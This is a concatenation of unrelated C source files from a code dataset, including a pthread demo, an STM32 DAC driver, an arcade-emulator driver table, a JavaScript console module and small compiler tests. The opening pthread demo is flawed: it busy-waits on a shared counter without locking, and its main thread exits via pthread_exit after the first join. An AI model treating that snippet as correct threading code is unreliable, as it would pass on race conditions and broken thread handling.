* Copyright (c) 2021 GTXC. All rights reserved.
*/
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#define N_THREADS 10
int counter = 0;
pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t evens_done = PTHREAD_COND_INITIALIZER;
int number_evens_finished = 0;
void *foo(void *data) {
int *msg = (int*) data;
pthread_mutex_lock(&lock);
if (*msg % 2 == 0) {
++number_evens_finished;
} else {
pthread_cond_wait(&evens_done, &lock);
}
++counter;
printf("thread id: %li, message = %i, mdfd counter = %i\n", pthread_self(), *msg, counter);
printf("thread id: %li, message = %i, read counter = %i\n", pthread_self(), *msg, counter);
puts("");
pthread_mutex_unlock(&lock);
return NULL;
}
int main() {
pthread_t threads[N_THREADS];
int values[N_THREADS];
for (int i = 0; i < N_THREADS; ++i) {
values[i] = i;
pthread_create(&threads[i], NULL, foo, &values[i]);
}
// sleep(1); // wait for the all threads are created
while (1) {
if (number_evens_finished == N_THREADS / 2) {
pthread_cond_broadcast(&evens_done);
break;
}
}
for (int i = 0; i < N_THREADS; ++i) {
pthread_join(threads[i], NULL);
pthread_exit(&threads[i]);
}
return 0;
} |
the_stack_data/17083.c | #include <stdio.h>
int main(){
int m,n,s=1,t;
scanf("%d %d",&m,&n);
if (n==0)
printf("0");
else{
t=n;
while (n>0){
s*=m;
n--;
m--;
}
while (t>0){
s/=t;
t--;
}
printf("%d",s);
}
return 0;
} |
the_stack_data/1089058.c | #define CODE_OFFSET 256
#define BLOCKS_PER_STATE 6
static unsigned long elitab[] = {
0xbfffffe9, 0x7fffffff, 0xedffffff, 0xffffffae, 0xff1ffdff, 0x00000000 /* state 0 */
};
#define LO_SUBSCRIPT 1049
#define HI_SUBSCRIPT 1064
|
the_stack_data/883962.c | char blank_html[]={};
char *blank_html_ptr=blank_html;
|
the_stack_data/82949333.c | /**
******************************************************************************
* @file stm32f7xx_ll_dac.c
* @author MCD Application Team
* @brief DAC LL module driver
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT(c) 2017 STMicroelectronics</center></h2>
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f7xx_ll_dac.h"
#include "stm32f7xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F7xx_LL_Driver
* @{
*/
#if defined(DAC)
/** @addtogroup DAC_LL DAC
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup DAC_LL_Private_Macros
* @{
*/
#define IS_LL_DAC_CHANNEL(__DACX__, __DAC_CHANNEL__) \
( \
((__DAC_CHANNEL__) == LL_DAC_CHANNEL_1) \
|| ((__DAC_CHANNEL__) == LL_DAC_CHANNEL_2) \
)
#define IS_LL_DAC_TRIGGER_SOURCE(__TRIGGER_SOURCE__) \
( ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_SOFTWARE) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM2_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM4_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM5_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM6_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM7_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM8_TRGO) \
|| ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_EXTI_LINE9) \
)
#define IS_LL_DAC_WAVE_AUTO_GENER_MODE(__WAVE_AUTO_GENERATION_MODE__) \
( ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NONE) \
|| ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NOISE) \
|| ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_TRIANGLE) \
)
#define IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(__WAVE_AUTO_GENERATION_CONFIG__) \
( ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BIT0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS1_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS2_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS3_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS4_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS5_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS6_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS7_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS8_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS9_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS10_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS11_0) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_3) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_7) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_15) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_31) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_63) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_127) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_255) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_511) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1023) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_2047) \
|| ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_4095) \
)
#define IS_LL_DAC_OUTPUT_BUFFER(__OUTPUT_BUFFER__) \
( ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_ENABLE) \
|| ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_DISABLE) \
)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup DAC_LL_Exported_Functions
* @{
*/
/** @addtogroup DAC_LL_EF_Init
* @{
*/
/**
* @brief De-initialize registers of the selected DAC instance
* to their default reset values.
* @param DACx DAC instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DAC registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_DAC_DeInit(DAC_TypeDef *DACx)
{
/* Check the parameters */
assert_param(IS_DAC_ALL_INSTANCE(DACx));
/* Force reset of DAC1 clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_DAC1);
/* Release reset of DAC1 clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_DAC1);
return SUCCESS;
}
/**
* @brief Initialize some features of DAC instance.
* @note The setting of these parameters by function @ref LL_DAC_Init()
* is conditioned to DAC state:
* DAC instance must be disabled.
* @param DACx DAC instance
* @param DAC_Channel This parameter can be one of the following values:
* @arg @ref LL_DAC_CHANNEL_1
* @arg @ref LL_DAC_CHANNEL_2
* @param DAC_InitStruct Pointer to a @ref LL_DAC_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: DAC registers are initialized
* - ERROR: DAC registers are not initialized
*/
ErrorStatus LL_DAC_Init(DAC_TypeDef *DACx, uint32_t DAC_Channel, LL_DAC_InitTypeDef *DAC_InitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_DAC_ALL_INSTANCE(DACx));
assert_param(IS_LL_DAC_CHANNEL(DACx, DAC_Channel));
assert_param(IS_LL_DAC_TRIGGER_SOURCE(DAC_InitStruct->TriggerSource));
assert_param(IS_LL_DAC_OUTPUT_BUFFER(DAC_InitStruct->OutputBuffer));
assert_param(IS_LL_DAC_WAVE_AUTO_GENER_MODE(DAC_InitStruct->WaveAutoGeneration));
if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE)
{
assert_param(IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(DAC_InitStruct->WaveAutoGenerationConfig));
}
/* Note: Hardware constraint (refer to description of this function) */
/* DAC instance must be disabled. */
if(LL_DAC_IsEnabled(DACx, DAC_Channel) == 0U)
{
/* Configuration of DAC channel: */
/* - TriggerSource */
/* - WaveAutoGeneration */
/* - OutputBuffer */
if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE)
{
MODIFY_REG(DACx->CR,
( DAC_CR_TSEL1
| DAC_CR_WAVE1
| DAC_CR_MAMP1
| DAC_CR_BOFF1
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
,
( DAC_InitStruct->TriggerSource
| DAC_InitStruct->WaveAutoGeneration
| DAC_InitStruct->WaveAutoGenerationConfig
| DAC_InitStruct->OutputBuffer
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
);
}
else
{
MODIFY_REG(DACx->CR,
( DAC_CR_TSEL1
| DAC_CR_WAVE1
| DAC_CR_BOFF1
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
,
( DAC_InitStruct->TriggerSource
| LL_DAC_WAVE_AUTO_GENERATION_NONE
| DAC_InitStruct->OutputBuffer
) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK)
);
}
}
else
{
/* Initialization error: DAC instance is not disabled. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_DAC_InitTypeDef field to default value.
* @param DAC_InitStruct pointer to a @ref LL_DAC_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_DAC_StructInit(LL_DAC_InitTypeDef *DAC_InitStruct)
{
/* Set DAC_InitStruct fields to default values */
DAC_InitStruct->TriggerSource = LL_DAC_TRIG_SOFTWARE;
DAC_InitStruct->WaveAutoGeneration = LL_DAC_WAVE_AUTO_GENERATION_NONE;
/* Note: Parameter discarded if wave auto generation is disabled, */
/* set anyway to its default value. */
DAC_InitStruct->WaveAutoGenerationConfig = LL_DAC_NOISE_LFSR_UNMASK_BIT0;
DAC_InitStruct->OutputBuffer = LL_DAC_OUTPUT_BUFFER_ENABLE;
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* DAC */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/150836.c | /****************/
/* Others games */
/****************/
/* toaplan1.c & toaplan2.c */
extern struct GameDriver driver_batsugun;
extern struct GameDriver driver_batugnsp;
extern struct GameDriver driver_demonwld;
extern struct GameDriver driver_dogyuun;
extern struct GameDriver driver_fireshrk;
extern struct GameDriver driver_ghox;
extern struct GameDriver driver_grindstm;
extern struct GameDriver driver_hellfire;
extern struct GameDriver driver_kbash;
extern struct GameDriver driver_mahoudai;
extern struct GameDriver driver_outzonep;
extern struct GameDriver driver_outzone;
extern struct GameDriver driver_pipibibs;
extern struct GameDriver driver_pipibibi;
extern struct GameDriver driver_rallybik;
extern struct GameDriver driver_samesame;
extern struct GameDriver driver_shippumd;
extern struct GameDriver driver_snowbro2;
extern struct GameDriver driver_tekipaki;
extern struct GameDriver driver_truxton;
extern struct GameDriver driver_tatsujn2;
extern struct GameDriver driver_vfive;
extern struct GameDriver driver_vimanan;
extern struct GameDriver driver_vimana;
extern struct GameDriver driver_vimana2;
extern struct GameDriver driver_whoopee;
extern struct GameDriver driver_zerowing;
/* cave.c */
extern struct GameDriver driver_dfeveron;
extern struct GameDriver driver_ddonpach;
extern struct GameDriver driver_esprade;
extern struct GameDriver driver_uopoko;
/* exterm.c */
extern struct GameDriver driver_exterm;
/* twincobr.c */
extern struct GameDriver driver_twincobu;
extern struct GameDriver driver_twincobr;
extern struct GameDriver driver_ktiger;
extern struct GameDriver driver_fshark;
extern struct GameDriver driver_fsharkbt;
extern struct GameDriver driver_skyshark;
extern struct GameDriver driver_hishouza;
/* wardner.c */
extern struct GameDriver driver_wardnerj;
extern struct GameDriver driver_wardner;
extern struct GameDriver driver_pyros;
/* wmstunit.c */
extern struct GameDriver driver_nbajamr2;
extern struct GameDriver driver_nbajam;
extern struct GameDriver driver_nbajamt1;
extern struct GameDriver driver_nbajamt2;
extern struct GameDriver driver_nbajamt3;
extern struct GameDriver driver_nbajamte;
extern struct GameDriver driver_mk;
extern struct GameDriver driver_mk2r14;
extern struct GameDriver driver_mk2;
extern struct GameDriver driver_mk2r32;
/* wmsyunit.c */
extern struct GameDriver driver_narc3;
extern struct GameDriver driver_narc;
extern struct GameDriver driver_trogp;
extern struct GameDriver driver_trog3;
extern struct GameDriver driver_trog;
extern struct GameDriver driver_strkforc;
extern struct GameDriver driver_smashtv4;
extern struct GameDriver driver_smashtv5;
extern struct GameDriver driver_smashtv6;
extern struct GameDriver driver_smashtv;
extern struct GameDriver driver_hiimpact;
extern struct GameDriver driver_shimpact;
extern struct GameDriver driver_term2;
extern struct GameDriver driver_mkla1;
extern struct GameDriver driver_mkla2;
extern struct GameDriver driver_mkla3;
extern struct GameDriver driver_mkla4;
extern struct GameDriver driver_totcarnp;
extern struct GameDriver driver_totcarn;
/* wmswofu.c */
extern struct GameDriver driver_mk3r10;
extern struct GameDriver driver_mk3r20;
extern struct GameDriver driver_mk3;
extern struct GameDriver driver_umk3r11;
extern struct GameDriver driver_umk3;
extern struct GameDriver driver_wwfmania;
extern struct GameDriver driver_openice;
extern struct GameDriver driver_nbamaxht;
extern struct GameDriver driver_rmpgwt11;
extern struct GameDriver driver_rmpgwt;
/* blockhl.c */
extern struct GameDriver driver_blockhl;
extern struct GameDriver driver_quarth;
/* ataxx.c */
extern struct GameDriver driver_ataxxj;
extern struct GameDriver driver_ataxx;
extern struct GameDriver driver_ataxxa;
extern struct GameDriver driver_wsf;
extern struct GameDriver driver_indyheat;
extern struct GameDriver driver_brutforc;
/* blockout.c */
extern struct GameDriver driver_blockout;
extern struct GameDriver driver_blckout2;
/* cabal.c */
extern struct GameDriver driver_cabal;
extern struct GameDriver driver_cabal2;
extern struct GameDriver driver_cabalbl;
/* cisheat.c */
extern struct GameDriver driver_cischeat;
extern struct GameDriver driver_f1gpstar;
/* leland.c */
extern struct GameDriver driver_cerberus;
extern struct GameDriver driver_mayhem;
extern struct GameDriver driver_wseries;
extern struct GameDriver driver_alleymas;
extern struct GameDriver driver_dangerz;
extern struct GameDriver driver_basebal2;
extern struct GameDriver driver_dblplay;
extern struct GameDriver driver_strkzone;
extern struct GameDriver driver_redlin2p;
extern struct GameDriver driver_quartrba;
extern struct GameDriver driver_quarterb;
extern struct GameDriver driver_viper;
extern struct GameDriver driver_teamqb2;
extern struct GameDriver driver_teamqb;
extern struct GameDriver driver_aafbb;
extern struct GameDriver driver_aafbd2p;
extern struct GameDriver driver_aafb;
extern struct GameDriver driver_offroadt;
extern struct GameDriver driver_offroad;
extern struct GameDriver driver_pigouta;
extern struct GameDriver driver_pigout;
/* madmotor.c */
extern struct GameDriver driver_madmotor;
/* megasys1.c */
extern struct GameDriver driver_64streej;
extern struct GameDriver driver_64street;
extern struct GameDriver driver_astyanax;
extern struct GameDriver driver_lordofk;
extern struct GameDriver driver_avspirit;
extern struct GameDriver driver_phantasm;
extern struct GameDriver driver_bigstrik;
extern struct GameDriver driver_chimerab;
extern struct GameDriver driver_cybattlr;
extern struct GameDriver driver_edf;
extern struct GameDriver driver_hachoo;
extern struct GameDriver driver_iganinju;
extern struct GameDriver driver_kickoff;
extern struct GameDriver driver_lomakai;
extern struct GameDriver driver_makaiden;
extern struct GameDriver driver_p47j;
extern struct GameDriver driver_p47;
extern struct GameDriver driver_peekaboo;
extern struct GameDriver driver_plusalph;
extern struct GameDriver driver_rodlandj;
extern struct GameDriver driver_rodland;
extern struct GameDriver driver_stdragon;
extern struct GameDriver driver_soldamj;
extern struct GameDriver driver_tshingen;
/* raindow.c */
extern struct GameDriver driver_rainbowe;
extern struct GameDriver driver_rainbow;
extern struct GameDriver driver_jumping;
/* rastan */
extern struct GameDriver driver_rastanu;
extern struct GameDriver driver_rastanu2;
extern struct GameDriver driver_rastan;
extern struct GameDriver driver_rastsaga;
/* superman.c */
extern struct GameDriver driver_superman;
/* jack.c */
extern struct GameDriver driver_jack;
extern struct GameDriver driver_jack2;
extern struct GameDriver driver_jack3;
extern struct GameDriver driver_treahunt;
extern struct GameDriver driver_zzyzzyxx;
extern struct GameDriver driver_zzyzzyx2;
extern struct GameDriver driver_brix;
extern struct GameDriver driver_freeze;
extern struct GameDriver driver_sucasino;
const struct GameDriver *drivers[] =
{
&driver_batsugun,
&driver_batugnsp,
&driver_demonwld,
&driver_dogyuun,
&driver_fireshrk,
&driver_ghox,
&driver_grindstm,
&driver_hellfire,
&driver_kbash,
&driver_mahoudai,
&driver_outzonep,
&driver_outzone,
&driver_pipibibs,
&driver_pipibibi,
&driver_rallybik,
&driver_samesame,
&driver_shippumd,
&driver_snowbro2,
&driver_tekipaki,
&driver_truxton,
&driver_tatsujn2,
&driver_vfive,
&driver_vimanan,
&driver_vimana,
&driver_vimana2,
&driver_whoopee,
&driver_zerowing,
&driver_dfeveron,
&driver_ddonpach,
&driver_esprade,
&driver_uopoko,
&driver_exterm,
&driver_twincobu,
&driver_twincobr,
&driver_ktiger,
&driver_fshark,
&driver_fsharkbt,
&driver_skyshark,
&driver_hishouza,
&driver_wardnerj,
&driver_wardner,
&driver_pyros,
&driver_nbajamr2,
&driver_nbajam,
&driver_nbajamt1,
&driver_nbajamt2,
&driver_nbajamt3,
&driver_nbajamte,
&driver_mk,
&driver_mk2r14,
&driver_mk2,
&driver_mk2r32,
&driver_narc3,
&driver_narc,
&driver_trogp,
&driver_trog3,
&driver_trog,
&driver_strkforc,
&driver_smashtv4,
&driver_smashtv5,
&driver_smashtv6,
&driver_smashtv,
&driver_hiimpact,
&driver_shimpact,
&driver_term2,
&driver_mkla1,
&driver_mkla2,
&driver_mkla3,
&driver_mkla4,
&driver_totcarnp,
&driver_totcarn,
&driver_mk3r10,
&driver_mk3r20,
&driver_mk3,
&driver_umk3r11,
&driver_umk3,
&driver_wwfmania,
&driver_openice,
&driver_nbamaxht,
&driver_rmpgwt11,
&driver_rmpgwt,
&driver_blockhl,
&driver_quarth,
&driver_ataxxj,
&driver_ataxx,
&driver_ataxxa,
&driver_wsf,
&driver_indyheat,
&driver_brutforc,
&driver_blockout,
&driver_blckout2,
&driver_cabal,
&driver_cabal2,
&driver_cabalbl,
/* cisheat.c */
&driver_cischeat,
&driver_f1gpstar,
&driver_cerberus,
&driver_mayhem,
&driver_wseries,
&driver_alleymas,
&driver_dangerz,
&driver_basebal2,
&driver_dblplay,
&driver_strkzone,
&driver_redlin2p,
&driver_quartrba,
&driver_quarterb,
&driver_viper,
&driver_teamqb2,
&driver_teamqb,
&driver_aafbb,
&driver_aafbd2p,
&driver_aafb,
&driver_offroadt,
&driver_offroad,
&driver_pigouta,
&driver_pigout,
&driver_madmotor,
&driver_64streej,
&driver_64street,
&driver_astyanax,
&driver_lordofk,
&driver_avspirit,
&driver_phantasm,
&driver_bigstrik,
&driver_chimerab,
&driver_cybattlr,
&driver_edf,
&driver_hachoo,
&driver_iganinju,
&driver_kickoff,
&driver_lomakai,
&driver_makaiden,
&driver_p47j,
&driver_p47,
&driver_peekaboo,
&driver_plusalph,
&driver_rodlandj,
&driver_rodland,
&driver_stdragon,
&driver_soldamj,
&driver_tshingen,
&driver_rainbowe,
&driver_rainbow,
&driver_jumping,
&driver_rastanu,
&driver_rastanu2,
&driver_rastan,
&driver_rastsaga,
&driver_superman,
&driver_jack,
&driver_jack2,
&driver_jack3,
&driver_treahunt,
&driver_zzyzzyxx,
&driver_zzyzzyx2,
&driver_brix,
&driver_freeze,
&driver_sucasino,
0 /* end of array */
};
|
the_stack_data/1051314.c | void Bl_F(unsigned char *digest, unsigned char *digest1, char *password, unsigned char *ssid, int ssidlength, int iterations, int count, unsigned char *output)
{
__builtin_trap();
}
int Bl_PasswordHash(char *password, unsigned char *ssid, int ssidlength, unsigned char *output)
{
__builtin_trap();
}
int bl60x_fw_password_hash(char *password, unsigned char *ssid, int ssidlength, unsigned char *output)
{
__builtin_trap();
}
|
the_stack_data/127338.c | // Copyright (c) 2016-2017, Intel Corporation.
#ifdef BUILD_MODULE_CONSOLE
// ZJS includes
#include "zjs_common.h"
#include "zjs_error.h"
#include "zjs_util.h"
#ifdef ZJS_LINUX_BUILD
#include "zjs_linux_port.h"
#else
#include "zjs_zephyr_port.h"
#endif
#define MAX_STR_LENGTH 256
#ifdef ZJS_LINUX_BUILD
#define STDERR_PRINT(s, ...) fprintf(stderr, s, __VA_ARGS__)
#define STDOUT_PRINT(s, ...) fprintf(stdout, s, __VA_ARGS__)
#else
#define STDERR_PRINT(s, ...) ZJS_PRINT(s, __VA_ARGS__)
#define STDOUT_PRINT(s, ...) ZJS_PRINT(s, __VA_ARGS__)
#endif
#define IS_NUMBER 0
#define IS_INT 1
#define IS_UINT 2
static jerry_value_t gbl_time_obj;
static int is_int(jerry_value_t val)
{
int ret = 0;
double n = jerry_get_number_value(val);
ret = (n - (int)n == 0);
if (ret) {
// Integer type
if (n < 0) {
return IS_INT;
} else {
return IS_UINT;
}
} else {
return IS_NUMBER;
}
}
static bool value2str(const jerry_value_t value, char *buf, int maxlen,
bool quotes)
{
// requires: buf has at least maxlen characters
// effects: writes a string representation of the value to buf; when
// processing a string value, puts quotes around it if quotes
// is true
// returns: true if the representation was complete or false if it
// was abbreviated
if (jerry_value_is_array(value)) {
unsigned int len = jerry_get_array_length(value);
sprintf(buf, "[Array - length %u]", len);
return false;
} else if (jerry_value_is_boolean(value)) {
u8_t val = jerry_get_boolean_value(value);
sprintf(buf, (val) ? "true" : "false");
} else if (jerry_value_is_function(value)) {
sprintf(buf, "[Function]");
} else if (jerry_value_is_number(value)) {
int type = is_int(value);
if (type == IS_NUMBER) {
#ifdef ZJS_PRINT_FLOATS
double num = jerry_get_number_value(value);
sprintf(buf, "%f", num);
#else
int num = (int)jerry_get_number_value(value);
sprintf(buf, "[Float ~%d]", num);
#endif
} else if (type == IS_UINT) {
unsigned int num = jerry_get_number_value(value);
sprintf(buf, "%u", num);
} else if (type == IS_INT) {
int num = jerry_get_number_value(value);
sprintf(buf, "%d", num);
}
} else if (jerry_value_is_null(value)) {
sprintf(buf, "null");
}
// NOTE: important that checks for function and array were above this
else if (jerry_value_is_object(value)) {
sprintf(buf, "[Object]");
} else if (jerry_value_is_string(value)) {
jerry_size_t size = jerry_get_string_size(value);
if (size >= maxlen) {
sprintf(buf, "[String - length %u]", (unsigned int)size);
} else {
char buffer[++size];
zjs_copy_jstring(value, buffer, &size);
if (quotes) {
sprintf(buf, "\"%s\"", buffer);
} else {
sprintf(buf, "%s", buffer);
}
}
} else if (jerry_value_is_undefined(value)) {
sprintf(buf, "undefined");
} else {
// should never get this
sprintf(buf, "UNKNOWN");
}
return true;
}
static void print_value(const jerry_value_t value, FILE *out, bool deep,
bool quotes)
{
char buf[MAX_STR_LENGTH];
if (!value2str(value, buf, MAX_STR_LENGTH, quotes) && deep) {
if (jerry_value_is_array(value)) {
u32_t len = jerry_get_array_length(value);
fprintf(out, "[");
for (int i = 0; i < len; i++) {
if (i) {
fprintf(out, ", ");
}
ZVAL element = jerry_get_property_by_index(value, i);
print_value(element, out, false, true);
}
fprintf(out, "]");
}
} else {
fprintf(out, "%s", buf);
}
}
static ZJS_DECL_FUNC_ARGS(do_print, FILE *out)
{
for (int i = 0; i < argc; i++) {
if (i) {
// insert spaces between arguments
fprintf(out, " ");
}
print_value(argv[i], out, true, false);
}
fprintf(out, "\n");
return ZJS_UNDEFINED;
}
static ZJS_DECL_FUNC(console_log)
{
return ZJS_CHAIN_FUNC_ARGS(do_print, stdout);
}
static ZJS_DECL_FUNC(console_error)
{
return ZJS_CHAIN_FUNC_ARGS(do_print, stderr);
}
static ZJS_DECL_FUNC(console_time)
{
// args: label
ZJS_VALIDATE_ARGS(Z_STRING);
u32_t start = zjs_port_timer_get_uptime();
ZVAL num = jerry_create_number(start);
jerry_set_property(gbl_time_obj, argv[0], num);
return ZJS_UNDEFINED;
}
static ZJS_DECL_FUNC(console_time_end)
{
// args: label
ZJS_VALIDATE_ARGS(Z_STRING);
ZVAL num = jerry_get_property(gbl_time_obj, argv[0]);
jerry_delete_property(gbl_time_obj, argv[0]);
if (!jerry_value_is_number(num)) {
return TYPE_ERROR("unexpected value");
}
u32_t start = (u32_t)jerry_get_number_value(num);
unsigned int milli = zjs_port_timer_get_uptime() - start;
char *label = zjs_alloc_from_jstring(argv[0], NULL);
const char *const_label = "unknown";
if (label) {
const_label = label;
}
// this print is part of the expected behavior for the user, don't remove
ZJS_PRINT("%s: %ums\n", const_label, milli);
zjs_free(label);
return ZJS_UNDEFINED;
}
static ZJS_DECL_FUNC(console_assert)
{
// args: validity[, output]
ZJS_VALIDATE_ARGS(Z_BOOL, Z_OPTIONAL Z_ANY);
char message[MAX_STR_LENGTH];
bool b = jerry_get_boolean_value(argv[0]);
if (!b) {
if (argc > 1) {
value2str(argv[1], message, MAX_STR_LENGTH, false);
return zjs_custom_error("AssertionError", message, this,
function_obj);
} else {
return zjs_custom_error("AssertionError", "console.assert", this,
function_obj);
}
}
return ZJS_UNDEFINED;
}
void zjs_console_init(void)
{
ZVAL console = jerry_create_object();
zjs_obj_add_function(console, console_log, "log");
zjs_obj_add_function(console, console_log, "info");
zjs_obj_add_function(console, console_error, "error");
zjs_obj_add_function(console, console_error, "warn");
zjs_obj_add_function(console, console_time, "time");
zjs_obj_add_function(console, console_time_end, "timeEnd");
zjs_obj_add_function(console, console_assert, "assert");
ZVAL global_obj = jerry_get_global_object();
zjs_set_property(global_obj, "console", console);
// initialize the time object
gbl_time_obj = jerry_create_object();
}
void zjs_console_cleanup()
{
jerry_release_value(gbl_time_obj);
}
#endif // BUILD_MODULE_CONSOLE
|
the_stack_data/468661.c | void entry(unsigned buffer_size, int buffer[])
{
if (buffer_size >= 70) {
int i = 0;
// Test break
while (1) {
if (i > 7) break;
buffer[i++] = 1;
}
// Test do/while
do {
buffer[i++] = 2;
} while (i <= 15);
// Test do/while with break
do {
buffer[i++] = 3;
if (i > 20) break;
} while (1);
// Test while with break
while (1) {
buffer[i++] = 4;
if (i < 30) {
continue;
} else {
break;
}
}
// Test continue
do {
buffer[i++] = 5;
if (i < 40) continue;
} while (0);
// Test for
for (i = 40; i < 50; i++) {
i++;
buffer[i] = 6;
}
// Test continue, ensure it runs the increment
for (i = 50; i < 70; i++) {
i++;
if (i < 55) continue;
if (i > 65) break;
buffer[i] = 7;
}
}
}
|
the_stack_data/61805.c | enum a {
A = ~0ULL,
};
static enum a a = A;
/*
* check-name: bug-rshift-ub
* check-description:
